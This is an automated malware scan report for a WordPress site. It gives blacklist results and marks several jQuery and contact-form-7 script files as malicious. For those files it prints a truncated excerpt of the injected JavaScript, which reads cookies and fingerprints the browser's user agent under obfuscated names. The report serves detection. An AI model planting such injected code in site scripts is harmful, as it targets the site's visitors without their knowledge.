Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=allstarcleavage.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://allstarcleavage.com/
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.allstarcleavage.com/ | 200 OK Content-Length: 146667 Content-Type: text/html | clean |
http://allstarcleavage.com/wp-includes/js/jquery/jquery.js?ver=1.11.0 | 200 OK Content-Length: 98649 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(name) {
var resizegood = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" )); return resizegood ? decodeURIComponent(resizegood[1]) : undefined; } function Lightebrothermind() { var Litresbool = navigator.userAgent; var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbo jQuery.noConflict(); Antivirus reports:
| ||
http://allstarcleavage.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1 | 200 OK Content-Length: 9447 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(name) {
var resizegood = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" )); return resizegood ? decodeURIComponent(resizegood[1]) : undefined; } function Lightebrothermind() { var Litresbool = navigator.userAgent; var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbo Antivirus reports:
| ||
http://allstarcleavage.com/wp-content/plugins/itro-popup/scripts/itro-scripts.js?ver=3.9.2 | 200 OK Content-Length: 4739 Content-Type: application/javascript | clean |
http://allstarcleavage.com/wp-content/plugins/responsive-social-sidebar-share/js/rsss_front.js?ver=3.9.2 | 200 OK Content-Length: 3246 Content-Type: application/javascript | clean |
http://allstarcleavage.com/wp-content/themes/hueman/js/jquery.flexslider.min.js?ver=3.9.2 | 200 OK Content-Length: 23673 Content-Type: application/javascript | clean |
http://allstarcleavage.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.4.7.3 | 200 OK Content-Length: 3437 Content-Type: application/javascript | clean |
http://ads.juicyads.com/jsclients/jac.js | 200 OK Content-Length: 91344 Content-Type: application/x-javascript | clean |
http://gfmateclicks.com/ad.js.php?r=NzY6MA&a=2&t=1&w=200&h=160&m=1 | 200 OK Content-Length: 366 Content-Type: application/javascript | clean |
http://allstarcleavage.com/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=3.51.0-2014.06.20 | 200 OK Content-Length: 17495 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(name) {
var resizegood = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" )); return resizegood ? decodeURIComponent(resizegood[1]) : undefined; } function Lightebrothermind() { var Litresbool = navigator.userAgent; var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbo Antivirus reports:
| ||
http://allstarcleavage.com/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=3.9.1 | 200 OK Content-Length: 11905 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(name) {
var resizegood = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" )); return resizegood ? decodeURIComponent(resizegood[1]) : undefined; } function Lightebrothermind() { var Litresbool = navigator.userAgent; var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbo } } $.wpcf7SupportHtml5 = function() { var features = {}; var input = document.createElement('input'); features.placeholder = 'placeholder' in input; var inputTypes = ['email', 'url', 'tel', 'number', 'range', 'date']; $.each(inputTypes, function(index, value) { input.setAttribute('type', value); features[value] = input.type !== 'text'; }); return features; }; })(jQuery); Antivirus reports:
| ||
http://s0.wp.com/wp-content/js/devicepx-jetpack.js?ver=201437 | 200 OK Content-Length: 9301 Content-Type: application/x-javascript | clean |
http://s.gravatar.com/js/gprofiles.js?ver=2014Sepaa | 200 OK Content-Length: 21442 Content-Type: application/x-javascript | clean |
http://allstarcleavage.com/wp-content/plugins/jetpack/modules/wpgroho.js?ver=3.9.2 | 200 OK Content-Length: 3206 Content-Type: application/javascript | clean |
http://allstarcleavage.com/wp-content/themes/hueman/js/jquery.jplayer.min.js?ver=3.9.2 | 200 OK Content-Length: 51062 Content-Type: application/javascript | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: allstarcleavage.com
Result:
GET / HTTP/1.1
Host: allstarcleavage.com
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: allstarcleavage.com
Referer: http://www.google.com/search?q=allstarcleavage.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: allstarcleavage.com
Referer: http://www.google.com/search?q=allstarcleavage.com
Result:
The result is similar to the first query. There are no suspicious redirects found.